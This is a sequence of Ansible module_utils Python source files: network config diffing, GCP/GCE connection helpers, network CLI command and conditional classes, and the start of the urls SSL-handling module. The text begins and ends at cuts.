    def diff_line(self, other):
        diff = list()
        for item in self.items:
            if item not in other.items:
                diff.append(item)
        return diff

    def diff_strict(self, other):
        diff = list()
        for index, item in enumerate(self.items):
            try:
                if item != other.items[index]:
                    diff.append(item)
            except IndexError:
                diff.append(item)
        return diff

    def diff_exact(self, other):
        diff = list()
        if len(other.items) != len(self.items):
            diff.extend(self.items)
        else:
            for ours, theirs in itertools.izip(self.items, other.items):
                if ours != theirs:
                    diff.extend(self.items)
                    break
        return diff


    def difference(self, other, match='line', replace='line'):
        try:
            func = getattr(self, 'diff_%s' % match)
            updates = func(other)
        except AttributeError:
            raise TypeError('invalid value for match keyword')

        if self._device_os == 'junos':
            return updates

        if replace == 'block':
            parents = list()
            for u in updates:
                if u.parents is None:
                    if u not in parents:
                        parents.append(u)
                else:
                    for p in u.parents:
                        if p not in parents:
                            parents.append(p)

            return self.expand_block(parents)

        return self.expand_line(updates)

    def replace(self, patterns, repl, parents=None, add_if_missing=False,
                ignore_whitespace=True):

        match = None

        parents = to_list(parents) or list()
        patterns = [re.compile(r, re.I) for r in to_list(patterns)]

        for item in self.items:
            for regexp in patterns:
                text = item.text
                if not ignore_whitespace:
                    text = item.raw
                if regexp.search(text):
                    if item.text != repl:
                        if parents == [p.text for p in item.parents]:
                            match = item
                            break

        if match:
            match.text = repl
            indent = len(match.raw) - len(match.raw.lstrip())
            match.raw = repl.rjust(len(repl) + indent)

        elif add_if_missing:
            self.add(repl, parents=parents)


    def add(self, lines, parents=None):
        """Adds one or lines of configuration
        """

        ancestors = list()
        offset = 0
        obj = None

        ## global config command
        if not parents:
            for line in to_list(lines):
                item = ConfigLine(line)
                item.raw = line
                if item not in self.items:
                    self.items.append(item)

        else:
            for index, p in enumerate(parents):
                try:
                    i = index + 1
                    obj = self.get_section_objects(parents[:i])[0]
                    ancestors.append(obj)

                except ValueError:
                    # add parent to config
                    offset = index * self.indent
                    obj = ConfigLine(p)
                    obj.raw = p.rjust(len(p) + offset)
                    if ancestors:
                        obj.parents = list(ancestors)
                        ancestors[-1].children.append(obj)
                    self.items.append(obj)
                    ancestors.append(obj)

            # add child objects
            for line in to_list(lines):
                # check if child already exists
                for child in ancestors[-1].children:
                    if child.text == line:
                        break
                else:
                    offset = len(parents) * self.indent
                    item = ConfigLine(line)
                    item.raw = line.rjust(len(line) + offset)
                    item.parents = ancestors
                    ancestors[-1].children.append(item)
                    self.items.append(item)








# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Copyright (c), Franck Cuny <franck.cuny@gmail.com>, 2014
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

import json
import os
import traceback
from distutils.version import LooseVersion

try:
    import libcloud
    HAS_LIBCLOUD_BASE = True
except ImportError:
    HAS_LIBCLOUD_BASE = False

def gcp_connect(module, provider, get_driver, user_agent_product, user_agent_version):
    """Return a Google Cloud Platform connection."""
    if not HAS_LIBCLOUD_BASE:
        module.fail_json(msg='libcloud must be installed to use this module')

    service_account_email = module.params.get('service_account_email', None)
    credentials_file = module.params.get('credentials_file', None)
    pem_file = module.params.get('pem_file', None)
    project_id = module.params.get('project_id', None)

    # If any of the values are not given as parameters, check the appropriate
    # environment variables.
    if not service_account_email:
        service_account_email = os.environ.get('GCE_EMAIL', None)
    if not project_id:
        project_id = os.environ.get('GCE_PROJECT', None)
    if not pem_file:
        pem_file = os.environ.get('GCE_PEM_FILE_PATH', None)
    if not credentials_file:
        credentials_file = os.environ.get('GCE_CREDENTIALS_FILE_PATH', pem_file)

    # If we still don't have one or more of our credentials, attempt to
    # get the remaining values from the libcloud secrets file.
    if service_account_email is None or pem_file is None:
        try:
            import secrets
        except ImportError:
            secrets = None

        if hasattr(secrets, 'GCE_PARAMS'):
            if not service_account_email:
                service_account_email = secrets.GCE_PARAMS[0]
            if not credentials_file:
                credentials_file = secrets.GCE_PARAMS[1]
        keyword_params = getattr(secrets, 'GCE_KEYWORD_PARAMS', {})
        if not project_id:
            project_id = keyword_params.get('project', None)

    # If we *still* don't have the credentials we need, then it's time to
    # just fail out.
    if service_account_email is None or credentials_file is None or project_id is None:
        module.fail_json(msg='Missing GCE connection parameters in libcloud '
                             'secrets file.')
        return None
    else:
        # We have credentials but lets make sure that if they are JSON we have the minimum
        # libcloud requirement met
        try:
            # Try to read credentials as JSON
            with open(credentials_file) as credentials:
                json.loads(credentials.read())
            # If the credentials are proper JSON and we do not have the minimum
            # required libcloud version, bail out and return a descriptive error
            if LooseVersion(libcloud.__version__) < '0.17.0':
                module.fail_json(msg='Using JSON credentials but libcloud minimum version not met. '
                                     'Upgrade to libcloud>=0.17.0.')
                return None
        except ValueError as e:
            # Not JSON
            pass

    try:
        gcp = get_driver(provider)(service_account_email, credentials_file,
                datacenter=module.params.get('zone', None),
                project=project_id)
        gcp.connection.user_agent_append("%s/%s" % (
            user_agent_product, user_agent_version))
    except (RuntimeError, ValueError) as e:
        module.fail_json(msg=str(e), changed=False)
    except Exception as e:
        module.fail_json(msg=unexpected_error_msg(e), changed=False)

    return gcp

def unexpected_error_msg(error):
    """Create an error string based on passed in error."""
    return 'Unexpected response: (%s). Detail: %s' % (str(error), traceback.format_exc(error))






# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Copyright (c), Franck Cuny <franck.cuny@gmail.com>, 2014
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

from ansible.module_utils.gcp import gcp_connect
from ansible.module_utils.gcp import unexpected_error_msg as gcp_error

try:
    from libcloud.compute.types import Provider
    from libcloud.compute.providers import get_driver
    HAS_LIBCLOUD_BASE = True
except ImportError:
    HAS_LIBCLOUD_BASE = False

USER_AGENT_PRODUCT = "Ansible-gce"
USER_AGENT_VERSION = "v1"

def gce_connect(module, provider=None):
    """Return a GCP connection for Google Compute Engine."""
    if not HAS_LIBCLOUD_BASE:
        module.fail_json(msg='libcloud must be installed to use this module')
    provider = provider or Provider.GCE

    return gcp_connect(module, provider, get_driver, USER_AGENT_PRODUCT, USER_AGENT_VERSION)

def unexpected_error_msg(error):
    """Create an error string based on passed in error."""
    return gcp_error(error)






# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Copyright (c) 2015 Peter Sprygada, <psprygada@ansible.com>
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

import re
import time
import itertools
import shlex

from ansible.module_utils.basic import BOOLEANS_TRUE, BOOLEANS_FALSE
from ansible.module_utils.six import string_types

def to_list(val):
    if isinstance(val, (list, tuple)):
        return list(val)
    elif val is not None:
        return [val]
    else:
        return list()

class FailedConditionsError(Exception):
    def __init__(self, msg, failed_conditions):
        super(FailedConditionsError, self).__init__(msg)
        self.failed_conditions = failed_conditions

class AddCommandError(Exception):
    def __init__(self, msg, command):
        super(AddCommandError, self).__init__(msg)
        self.command = command

class Cli(object):

    def __init__(self, connection):
        self.connection = connection
        self.default_output = connection.default_output or 'text'
        self._commands = list()

    @property
    def commands(self):
        return [str(c) for c in self._commands]

    def __call__(self, commands, output=None):
        objects = list()
        for cmd in commands:
            objects.append(self.to_command(cmd, output))
        return self.connection.run_commands(objects)

    def to_command(self, command, output=None, prompt=None, response=None):
        output = output or self.default_output
        if isinstance(command, Command):
            return command
        elif isinstance(command, dict):
            output = cmd.get('output') or output
            cmd = cmd['command']
        if isinstance(prompt, string_types):
            prompt = re.compile(re.escape(prompt))
        return Command(command, output, prompt=prompt, response=response)

    def add_commands(self, commands, output=None, **kwargs):
        for cmd in commands:
            self._commands.append(self.to_command(cmd, output, **kwargs))

    def run_commands(self):
        responses = self.connection.run_commands(self._commands)
        for resp, cmd in itertools.izip(responses, self._commands):
            cmd.response = resp

        # wipe out the commands list to avoid issues if additional
        # commands are executed later
        self._commands = list()

        return responses

class Command(object):

    def __init__(self, command, output=None, prompt=None, is_reboot=False,
                 response=None, delay=0):

        self.command = command
        self.output = output

        self.prompt = prompt
        self.response = response

        self.is_reboot = is_reboot
        self.delay = delay

    def __str__(self):
        return self.command

class CommandRunner(object):

    def __init__(self, module):
        self.module = module

        self.items = list()
        self.conditionals = set()

        self.commands = list()

        self.retries = 10
        self.interval = 1

        self.match = 'all'

        self._cache = dict()
        self._default_output = module.connection.default_output


    def add_command(self, command, output=None, prompt=None, response=None):
        if command in [str(c) for c in self.commands]:
            raise AddCommandError('duplicated command detected', command=command)
        cmd = self.module.cli.to_command(command, output=output, prompt=prompt,
                                         response=response)
        self.commands.append(cmd)

    def get_command(self, command, output=None):
        output = output or self._default_output
        try:
            cmdobj = self._cache[(command, output)]
            return cmdobj.response
        except KeyError:
            for cmd in self.commands:
                if str(cmd) == command and cmd.output == output:
                    self._cache[(command, output)] = cmd
                    return cmd.response
        raise ValueError("command '%s' not found" % command)

    def get_responses(self):
        return [cmd.response for cmd in self.commands]

    def add_conditional(self, condition):
        self.conditionals.add(Conditional(condition))

    def run(self):
        while self.retries > 0:
            self.module.cli.add_commands(self.commands)
            responses = self.module.cli.run_commands()

            for item in list(self.conditionals):
                if item(responses):
                    if self.match == 'any':
                        return item
                    self.conditionals.remove(item)

            if not self.conditionals:
                break

            time.sleep(self.interval)
            self.retries -= 1
        else:
            failed_conditions = [item.raw for item in self.conditionals]
            errmsg = 'One or more conditional statements have not be satisfied'
            raise FailedConditionsError(errmsg, failed_conditions)

class Conditional(object):
    """Used in command modules to evaluate waitfor conditions
    """

    OPERATORS = {
        'eq': ['eq', '=='],
        'neq': ['neq', 'ne', '!='],
        'gt': ['gt', '>'],
        'ge': ['ge', '>='],
        'lt': ['lt', '<'],
        'le': ['le', '<='],
        'contains': ['contains'],
        'matches': ['matches']
    }

    def __init__(self, conditional, encoding='json'):
        self.raw = conditional
        self.encoding = encoding

        key, op, val = shlex.split(conditional)
        self.key = key
        self.func = self.func(op)
        self.value = self._cast_value(val)

    def __call__(self, data):
        value = self.get_value(dict(result=data))
        return self.func(value)

    def _cast_value(self, value):
        if value in BOOLEANS_TRUE:
            return True
        elif value in BOOLEANS_FALSE:
            return False
        elif re.match(r'^\d+\.d+$', value):
            return float(value)
        elif re.match(r'^\d+$', value):
            return int(value)
        else:
            return unicode(value)

    def func(self, oper):
        for func, operators in self.OPERATORS.items():
            if oper in operators:
                return getattr(self, func)
        raise AttributeError('unknown operator: %s' % oper)

    def get_value(self, result):
        if self.encoding in ['json', 'text']:
            return self.get_json(result)
        elif self.encoding == 'xml':
            return self.get_xml(result.get('result'))

    def get_xml(self, result):
        parts = self.key.split('.')

        value_index = None
        match = re.match(r'^\S+(\[)(\d+)\]', parts[-1])
        if match:
            start, end = match.regs[1]
            parts[-1] = parts[-1][0:start]
            value_index = int(match.group(2))

        path = '/'.join(parts[1:])
        path = '/%s' % path
        path += '/text()'

        index = int(re.match(r'result\[(\d+)\]', parts[0]).group(1))
        values = result[index].xpath(path)

        if value_index is not None:
            return values[value_index].strip()
        return [v.strip() for v in values]

    def get_json(self, result):
        parts = re.split(r'\.(?=[^\]]*(?:\[|$))', self.key)
        for part in parts:
            match = re.findall(r'\[(\S+?)\]', part)
            if match:
                key = part[:part.find('[')]
                result = result[key]
                for m in match:
                    try:
                        m = int(m)
                    except ValueError:
                        m = str(m)
                    result = result[m]
            else:
                result = result.get(part)
        return result

    def number(self, value):
        if '.' in str(value):
            return float(value)
        else:
            return int(value)

    def eq(self, value):
        return value == self.value

    def neq(self, value):
        return value != self.value

    def gt(self, value):
        return self.number(value) > self.value

    def ge(self, value):
        return self.number(value) >= self.value

    def lt(self, value):
        return self.number(value) < self.value

    def le(self, value):
        return self.number(value) <= self.value

    def contains(self, value):
        return str(self.value) in value

    def matches(self, value):
        match = re.search(value, self.value, re.M)
        return match is not None







# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2012-2013
# Copyright (c), Toshio Kuratomi <tkuratomi@ansible.com>, 2015
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
# The match_hostname function and supporting code is under the terms and
# conditions of the Python Software Foundation License.  They were taken from
# the Python3 standard library and adapted for use in Python2.  See comments in the
# source for which code precisely is under this License.  PSF License text
# follows:
#
# PYTHON SOFTWARE FOUNDATION LICENSE VERSION 2
# --------------------------------------------
#
# 1. This LICENSE AGREEMENT is between the Python Software Foundation
# ("PSF"), and the Individual or Organization ("Licensee") accessing and
# otherwise using this software ("Python") in source or binary form and
# its associated documentation.
#
# 2. Subject to the terms and conditions of this License Agreement, PSF hereby
# grants Licensee a nonexclusive, royalty-free, world-wide license to reproduce,
# analyze, test, perform and/or display publicly, prepare derivative works,
# distribute, and otherwise use Python alone or in any derivative version,
# provided, however, that PSF's License Agreement and PSF's notice of copyright,
# i.e., "Copyright (c) 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010,
# 2011, 2012, 2013, 2014 Python Software Foundation; All Rights Reserved" are
# retained in Python alone or in any derivative version prepared by Licensee.
#
# 3. In the event Licensee prepares a derivative work that is based on
# or incorporates Python or any part thereof, and wants to make
# the derivative work available to others as provided herein, then
# Licensee hereby agrees to include in any such work a brief summary of
# the changes made to Python.
#
# 4. PSF is making Python available to Licensee on an "AS IS"
# basis.  PSF MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR
# IMPLIED.  BY WAY OF EXAMPLE, BUT NOT LIMITATION, PSF MAKES NO AND
# DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS
# FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON WILL NOT
# INFRINGE ANY THIRD PARTY RIGHTS.
#
# 5. PSF SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON
# FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS
# A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON,
# OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
#
# 6. This License Agreement will automatically terminate upon a material
# breach of its terms and conditions.
#
# 7. Nothing in this License Agreement shall be deemed to create any
# relationship of agency, partnership, or joint venture between PSF and
# Licensee.  This License Agreement does not grant permission to use PSF
# trademarks or trade name in a trademark sense to endorse or promote
# products or services of Licensee, or any third party.
#
# 8. By copying, installing or otherwise using Python, Licensee
# agrees to be bound by the terms and conditions of this License
# Agreement.

'''
The **urls** utils module offers a replacement for the urllib2 python library.

urllib2 is the python stdlib way to retrieve files from the Internet but it
lacks some security features (around verifying SSL certificates) that users
should care about in most situations. Using the functions in this module corrects
deficiencies in the urllib2 module wherever possible.

There are also third-party libraries (for instance, requests) which can be used
to replace urllib2 with a more secure library. However, all third party libraries
require that the library be installed on the managed machine. That is an extra step
for users making use of a module. If possible, avoid third party libraries by using
this code instead.
'''

import netrc
import os
import re
import sys
import socket
import platform
import tempfile
import base64

from ansible.module_utils.basic import get_distribution, get_exception

try:
    import httplib
except ImportError:
    # Python 3
    import http.client as httplib

import ansible.module_utils.six.moves.urllib.request as urllib_request
import ansible.module_utils.six.moves.urllib.error as urllib_error

try:
    # python3
    import urllib.request as urllib_request
    from urllib.request import AbstractHTTPHandler
except ImportError:
    # python2
    import urllib2 as urllib_request
    from urllib2 import AbstractHTTPHandler

try:
    from ansible.module_utils.six.moves.urllib.parse import urlparse, urlunparse
    HAS_URLPARSE = True
except:
    HAS_URLPARSE = False

try:
    import ssl
    HAS_SSL = True
except:
    HAS_SSL = False

try:
    # SNI Handling needs python2.7.9's SSLContext
    from ssl import create_default_context, SSLContext
    HAS_SSLCONTEXT = True
except ImportError:
    HAS_SSLCONTEXT = False

try:
    try:
        from urllib3.contrib.pyopenssl import ssl_wrap_socket
    except ImportError:
        from requests.packages.urllib3.contrib.pyopenssl import ssl_wrap_socket
    HAS_URLLIB3_SNI_SUPPORT = True
except ImportError:
    HAS_URLLIB3_SNI_SUPPORT = False

# Select a protocol that includes all secure tls protocols
# Exclude insecure ssl protocols if possible

if HAS_SSL:
    # If we can't find extra tls methods, ssl.PROTOCOL_TLSv1 is sufficient
    PROTOCOL = ssl.PROTOCOL_TLSv1
if not HAS_SSLCONTEXT and HAS_SSL:
    try:
        import ctypes
        import ctypes.util
    except ImportError:
        # python 2.4 (likely rhel5 which doesn't have tls1.1 support in its openssl)
        pass
    else:
        libssl_name = ctypes.util.find_library('ssl')
        libssl = ctypes.CDLL(libssl_name)
        for method in ('TLSv1_1_method', 'TLSv1_2_method'):
            try:
                libssl[method]
                # Found something - we'll let openssl autonegotiate and hope
                # the server has disabled sslv2 and 3.  best we can do.
                PROTOCOL = ssl.PROTOCOL_SSLv23
                break
            except AttributeError:
                pass
        del libssl


HAS_MATCH_HOSTNAME = True
try:
    from ssl import match_hostname, CertificateError
except ImportError:
    try:
        from backports.ssl_match_hostname import match_hostname, CertificateError
    except ImportError:
        HAS_MATCH_HOSTNAME = False

if not HAS_MATCH_HOSTNAME:
    ###
    ### The following block of code is under the terms and conditions of the
    ### Python Software Foundation License
    ###

    """The match_hostname() function from Python 3.4, essential when using SSL."""

    class CertificateError(ValueError):
        pass


    def _dnsname_match(dn, hostname, max_wildcards=1):
        """Matching according to RFC 6125, section 6.4.3

        http://tools.ietf.org/html/rfc6125#section-6.4.3
        """
        pats = []
        if not dn:
            return False

        # Ported from python3-syntax:
        # leftmost, *remainder = dn.split(r'.')
        parts = dn.split(r'.')
        leftmost = parts[0]
        remainder = parts[1:]

        wildcards = leftmost.count('*')
        if wildcards > max_wildcards:
            # Issue #17980: avoid denials of service by refusing more
            # than one wildcard per fragment.  A survey of established
            # policy among SSL implementations showed it to be a
            # reasonable choice.
            raise CertificateError(
                "too many wildcards in certificate DNS name: " + repr(dn))

        # speed up common case w/o wildcards
        if not wildcards:
            return dn.lower() == hostname.lower()

        # RFC 6125, section 6.4.3, subitem 1.
        # The client SHOULD NOT attempt to match a presented identifier in which
        # the wildcard character comprises a label other than the left-most label.
        if leftmost == '*':
            # When '*' is a fragment by itself, it matches a non-empty dotless
            # fragment.
            pats.append('[^.]+')
        elif leftmost.startswith('xn--') or hostname.startswith('xn--'):
            # RFC 6125, section 6.4.3, subitem 3.
            # The client SHOULD NOT attempt to match a presented identifier
            # where the wildcard character is embedded within an A-label or
            # U-label of an internationalized domain name.
            pats.append(re.escape(leftmost))
        else:
            # Otherwise, '*' matches any dotless string, e.g. www*
            pats.append(re.escape(leftmost).replace(r'\*', '[^.]*'))

        # add the remaining fragments, ignore any wildcards
        for frag in remainder:
            pats.append(re.escape(frag))

        pat = re.compile(r'\A' + r'\.'.join(pats) + r'\Z', re.IGNORECASE)
        return pat.match(hostname)


    def match_hostname(cert, hostname):
        """Verify that *cert* (in decoded format as returned by
        SSLSocket.getpeercert()) matches the *hostname*.  RFC 2818 and RFC 6125
        rules are followed, but IP addresses are not accepted for *hostname*.

        CertificateError is raised on failure. On success, the function
        returns nothing.
        """
        if not cert:
            raise ValueError("empty or no certificate")
        dnsnames = []
        san = cert.get('subjectAltName', ())
        for key, value in san:
            if key == 'DNS':
                if _dnsname_match(value, hostname):
                    return
                dnsnames.append(value)
        if not dnsnames:
            # The subject is only checked when there is no dNSName entry
            # in subjectAltName
            for sub in cert.get('subject', ()):
                for key, value in sub:
                    # XXX according to RFC 2818, the most specific Common Name
                    # must be used.
                    if key == 'commonName':
                        if _dnsname_match(value, hostname):
                            return
                        dnsnames.append(value)
        if len(dnsnames) > 1:
            raise CertificateError("hostname %r "
                "doesn't match either of %s"
                % (hostname, ', '.join(map(repr, dnsnames))))
        elif len(dnsnames) == 1:
            raise CertificateError("hostname %r "
                "doesn't match %r"
                % (hostname, dnsnames[0]))
        else:
            raise CertificateError("no appropriate commonName or "
                "subjectAltName fields were found")

    ###
    ### End of Python Software Foundation Licensed code
    ###

    HAS_MATCH_HOSTNAME = True


# This is a dummy cacert provided for Mac OS since you need at least 1
# ca cert, regardless of validity, for Python on Mac OS to use the
# keychain functionality in OpenSSL for validating SSL certificates.
# See: http://mercurial.selenic.com/wiki/CACertificates#Mac_OS_X_10.6_and_higher
DUMMY_CA_CERT = """-----BEGIN CERTIFICATE-----
MIICvDCCAiWgAwIBAgIJAO8E12S7/qEpMA0GCSqGSIb3DQEBBQUAMEkxCzAJBgNV
BAYTAlVTMRcwFQYDVQQIEw5Ob3J0aCBDYXJvbGluYTEPMA0GA1UEBxMGRHVyaGFt
MRAwDgYDVQQKEwdBbnNpYmxlMB4XDTE0MDMxODIyMDAyMloXDTI0MDMxNTIyMDAy
MlowSTELMAkGA1UEBhMCVVMxFzAVBgNVBAgTDk5vcnRoIENhcm9saW5hMQ8wDQYD
VQQHEwZEdXJoYW0xEDAOBgNVBAoTB0Fuc2libGUwgZ8wDQYJKoZIhvcNAQEBBQAD
gY0AMIGJAoGBANtvpPq3IlNlRbCHhZAcP6WCzhc5RbsDqyh1zrkmLi0GwcQ3z/r9
gaWfQBYhHpobK2Tiq11TfraHeNB3/VfNImjZcGpN8Fl3MWwu7LfVkJy3gNNnxkA1
4Go0/LmIvRFHhbzgfuo9NFgjPmmab9eqXJceqZIlz2C8xA7EeG7ku0+vAgMBAAGj
gaswgagwHQYDVR0OBBYEFPnN1nPRqNDXGlCqCvdZchRNi/FaMHkGA1UdIwRyMHCA
FPnN1nPRqNDXGlCqCvdZchRNi/FaoU2kSzBJMQswCQYDVQQGEwJVUzEXMBUGA1UE
CBMOTm9ydGggQ2Fyb2xpbmExDzANBgNVBAcTBkR1cmhhbTEQMA4GA1UEChMHQW5z
aWJsZYIJAO8E12S7/qEpMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADgYEA
MUB80IR6knq9K/tY+hvPsZer6eFMzO3JGkRFBh2kn6JdMDnhYGX7AXVHGflrwNQH
qFy+aenWXsC0ZvrikFxbQnX8GVtDADtVznxOi7XzFw7JOxdsVrpXgSN0eh0aMzvV
zKPZsZ2miVGclicJHzm5q080b1p/sZtuKIEZk6vZqEg=
-----END CERTIFICATE-----
"""

#
# Exceptions
#


class ConnectionError(Exception):
    """Failed to connect to the server"""
    pass


class ProxyError(ConnectionError):
    """Failure to connect because of a proxy"""
    pass


class SSLValidationError(ConnectionError):
    """Failure to connect due to SSL validation failing"""
    pass


class NoSSLError(SSLValidationError):
    """Needed to connect to an HTTPS url but no ssl library available to verify the certificate"""
    pass

# Some environments (Google Compute Engine's CoreOS deploys) do not compile
# against openssl and thus do not have any HTTPS support.
CustomHTTPSConnection = CustomHTTPSHandler = None
if hasattr(httplib, 'HTTPSConnection') and hasattr(urllib_request, 'HTTPSHandler'):
    class CustomHTTPSConnection(httplib.HTTPSConnection):
        def __init__(self, *args, **kwargs):
            httplib.HTTPSConnection.__init__(self, *args, **kwargs)
            if HAS_SSLCONTEXT:
                self.context = create_default_context()
                if self.cert_file:
                    self.context.load_cert_chain(self.cert_file, self.key_file)

        def connect(self):
            "Connect to a host on a given (SSL) port."

            if hasattr(self, 'source_address'):
                sock = socket.create_connection((self.host, self.port), self.timeout, self.source_address)
            else:
                sock = socket.create_connection((self.host, self.port), self.timeout)

            server_hostname = self.host
            # Note: self._tunnel_host is not available on py < 2.6 but this code
            # isn't used on py < 2.6 (lack of create_connection)
            if self._tunnel_host:
                self.sock = sock
                self._tunnel()
                server_hostname = self._tunnel_host

            if HAS_SSLCONTEXT:
                self.sock = self.context.wrap_socket(sock, server_hostname=server_hostname)
            elif HAS_URLLIB3_SNI_SUPPORT:
                self.sock = ssl_wrap_socket(sock, keyfile=self.key_file, cert_reqs=ssl.CERT_NONE, certfile=self.cert_file, ssl_version=PROTOCOL,
                        server_hostname=server_hostname)
            else:
                self.sock = ssl.wrap_socket(sock, keyfile=self.key_file, certfile=self.cert_file, ssl_version=PROTOCOL)

    class CustomHTTPSHandler(urllib_request.HTTPSHandler):

        def https_open(self, req):
            return self.do_open(CustomHTTPSConnection, req)

        https_request = AbstractHTTPHandler.do_request_


